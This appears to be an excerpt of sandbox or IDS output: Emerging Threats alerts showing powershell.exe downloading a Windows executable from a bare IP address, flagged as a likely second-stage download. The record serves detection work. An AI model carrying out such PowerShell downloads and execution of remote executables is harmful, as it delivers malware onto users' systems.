Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2292
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2292
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
No debug info